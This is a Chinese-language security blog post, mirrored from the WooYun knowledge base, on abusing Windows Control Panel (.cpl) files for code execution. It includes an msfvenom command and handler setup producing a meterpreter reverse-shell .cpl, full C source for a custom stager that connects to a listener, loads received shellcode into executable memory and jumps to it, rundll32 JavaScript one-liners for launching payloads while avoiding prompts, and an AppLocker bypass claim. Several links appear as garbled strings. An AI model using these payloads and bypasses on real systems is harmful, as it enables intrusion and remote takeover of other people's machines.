CPL文件利用介绍

发布者:wyzsk
发布于:2020-08-19 17:34
作者: 三好学生 · 2016/05/23 9:41

0x00 前言


最近在研究Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)的过程中接触到了cpl文件,于是对其做了进一步研究,发现了一些有趣的细节,分享给大家。

0x01 简介


CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item
在系统安装目录的system32下面有一系列.cpl文件,它们分别对应着控制面板中的项目
CPL文件本质是Windows可执行性文件,但不属于可以直接独立运行的文件,通常由shell32.dll打开

0x02 制作CPL文件


1、文件特点

本质上是DLL文件,但有如下特点:

  • 后缀名为cpl
  • 包含一个导出函数CPLApplet
  • 可双击直接运行

2、打开方式

(1) 双击直接运行

(2) cmd下输入rundll32 shell32.dll,Control_RunDLL <文件名>

(3) cmd下输入control <文件名>

注:
cmd下rundll32 shell32.dll,Control_RunDLL <文件名>等同于cmd下control <文件名>
control.exe实质调用了rundll32.exe,通过control.exe执行cpl文件的进程为rundll32.exe

(4) 通过脚本调用
a、vbs

#!shell
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")

b、js

#!javascript
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");

3、使用vc 6.0制作标准cpl模板

由文件特点可知,cpl本质就是一个dll文件
所以我们可以在vc下创建一个dll的工程,并定义导出函数为CPlApplet

#!c
LRESULT APIENTRY CPlApplet
(
    HWND    aHwndCPL_in,    // Handle to Configuration Panel window.
    UINT    aUMsg_in,        // CPL message.
    LPARAM    aLParam1_in,    // First message parameter.
    LPARAM  aLParam2_in    // Second message parameter.
) 

值得注意的是aUMsg_in里面定义了一些CPL相关的参数:

                   | Return            | Return
CPL message        | if successfully   | if not successfully
-------------------+-------------------+--------------------
CPL_INIT           | nonzero           | zero
CPL_GETCOUNT       | nonzero           | zero
CPL_NEWINQUIRE     | zero              | nonzero
CPL_SELECT         | zero              | nonzero
CPL_DBLCLK         | zero              | nonzero
CPL_STOP           | zero              | nonzero
CPL_EXIT           | zero              | nonzero

图表来自216K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2H3M7X3!0B7k6h3y4@1i4K6u0W2j5$3!0E0i4K6u0r3b7i4u0@1K9h3y4D9k6i4y4Q4x3V1j5K6x3o6t1$3i4K6u0r3b7%4u0W2j5i4c8A6L8X3N6Q4x3X3c8S2i4K6u0V1b7$3!0F1k6X3W2Y4i4K6u0V1f1r3q4F1k6h3I4Q4x3X3c8m8M7s2m8D9k6i4b7`.

CPL_INIT:
进行全局初始化

CPL_GETCOUNT:
检索应用程序支持的对话框的数目
返回值:支持的对话框数目

CPL_NEWINQUIRE:
请求该应用程序支持的对话框的请求信息

CPL_SELECT:
设置当用户选择一个对话框时显示的图标

CPL_DBLCLK:
设置当用户双击一个对话框时显示的图标

CPL_STOP:
控制面板关闭时向每个对话框发出的消息

CPL_EXIT:
释放内存,退出

以上仅对相关函数作简要介绍,详细说明可查msdn,提供一个可供参考的工程模板:
7f6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4k6T1k6X3!0J5N6h3#2K6i4K6u0W2j5$3!0E0i4K6u0r3j5i4c8@1j5h3y4Z5L8h3g2F1N6q4)9J5k6i4m8Z5M7q4)9K6c8Y4y4Q4x3@1b7%4k6h3u0U0x3$3p5$3y4r3x3&6z5o6g2X3y4U0M7#2y4U0p5#2j5e0y4W2z5h3b7H3j5h3p5K6y4e0m8W2z5q4)9J5y4X3q4E0M7q4)9K6b7X3q4@1N6r3q4U0K9r3#2W2L8Y4c8A6k6q4)9K6c8o6t1^5y4W2)9J5y4X3q4E0M7q4)9K6b7X3c8Q4x3@1b7&6z5o6p5^5x3U0t1K6y4e0p5`.

注:
函数注释的语言为斯洛文尼亚语,但不影响我们的程序开发
模板下载后可直接编译出一个cpl文件,双击正常执行

4、简单粗暴的方式制作cpl文件

新建一个标准dll工程,在DLL_PROCESS_ATTACH中添加payload 相关代码之下:

#!c
#include "Windows.h"
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("cmd", SW_SHOW);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

编译后生成的dll文件后缀名改为cpl即可

如图

Alt text

点击后弹出cmd,但是退出后会弹框提示程序兼容性问题
如果是管理员权限的cmd,运行的程序结束后就不会弹框
(此问题的解决方法放在后面介绍)

0x03 测试


由以上内容可推断只要将payload写在DllMain()函数中,就可以直接修改dll后缀名为cpl,然后通过双击来运行
所以自然而然的想到了测试一下meterpreter是否支持这种方式

生成test.cpl:

#!shell
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.127.132 lport=8888 -f dll -o test.cpl

msf:

#!shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.127.132
set LPORT 8888
exploit

双击test.cpl后弹回meterpreter shell
但是同样在退出的时候会弹框提示程序兼容性助手

0x04 解决问题


1、正常dll执行后弹框

经过测试发现,原有是因为vc6.0的版本低导致的程序兼容问题
所以换在vs2008(或者更新的版本)下开发就不会存在这个问题

如图

Alt text

2、解决meterpreter弹框的问题

这里不深入探究msfvenom的生成方式,解决方法为使用c++程序自己编写一个meterpreter的reverse_tcp版本
关键代码:

#!c
#include "Windows.h"
#include <WinSock2.h>
#include <stdio.h>  

#pragma comment(lib,"WS2_32.lib")   

int reverse_tcp()
{
    WSADATA wsData;
        if(WSAStartup(MAKEWORD(2,2),&wsData))
        {
            printf("WSAStartp fail.\n");
            return 0;
        } 

        SOCKET sock = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
        SOCKADDR_IN server;
        ZeroMemory(&server,sizeof(SOCKADDR_IN));
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = inet_addr("192.168.127.132"); //server ip
        server.sin_port = htons(8888); //server port
        if(SOCKET_ERROR == connect(sock,(SOCKADDR*)&server,sizeof(server)))
        {
            printf("connect to server fail.\n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        u_int payloadLen;
        if (recv(sock,(char*)&payloadLen,sizeof(payloadLen),0) != sizeof(payloadLen))
        {
            printf("recv error\n");
            closesocket(sock);
            WSACleanup();
            return 0;
        } 

        char* orig_buffer = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        char* buffer = orig_buffer;
        int ret = 0;
        do 
        {
            ret = recv(sock,buffer,payloadLen,0);
            buffer += ret;
            payloadLen -= ret;
        } while (ret > 0 && payloadLen > 0);  


        __asm
        {
            mov edi,sock;   
            jmp orig_buffer; 
        } 

        VirtualFree(orig_buffer,0,MEM_RELEASE);   


}   

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        reverse_tcp();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

生成dll文件,后缀名改为cpl
正常运行,正常退出

0x05 Bypass Windows AppLocker


之前介绍过《Bypass Windows AppLocker》
开启默认规则后会拦截exe和脚本的执行,那么cpl文件呢?
当然可以绕过 Windows AppLocker的限制规则

如图

Alt text

0x06 rundll32


补充一些rundll32调用js代码的细节;

执行远程exe,会弹框拦截:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("\\\\127.0.0.1\\c$\\test\\test.exe")

如图

Alt text

解决方法:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\test.exe")

如图 Alt text

执行本地cpl文件,会弹框提示无法识别文件后缀名:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("c:\\test\\cpl.cpl")

如图

Alt text

解决方法:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\\test\\cpl.cpl",0,true)

遗留问题:

1、无法调用Shell.Application直接执行cpl文件:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new20%ActiveXObject("Shell.Application").ControlPanelItem("c:\\test\\cpl.cpl")

2、无法远程调用cpl文件

无法识别文件后缀:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("\\\\127.0.0.1\\c$\\test\\cpl.cpl")

弹框拦截远程文件:

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Exec("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl")

and

#!javascript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c \\\\127.0.0.1\\c$\\test\\cpl.cpl",0,true)

如果你有解决办法或是更好的思路,希望能够分享,不胜感激。

0x07 Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059)


下载链接:924K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0x3&6z5o6l9#2i4K6u0r3

将定制的快捷方式放于任意路径,本地或是远程,当用户访问此目录的时候,就会执行payload
演示的远程路径为: \\127.0.0.1\c$\test\poc(正常情况下访问此目录也会当作远程目录被沙盒拦截)

poc演示如图,访问远程目录 \\127.0.0.1\c$\test\poc并绕过沙盒拦截,成功执行payload

Alt text

本文章来源于乌云知识库,此镜像为了方便大家学习研究,文章版权归乌云知识库!

声明:该文观点仅代表作者本人,转载请注明来自看雪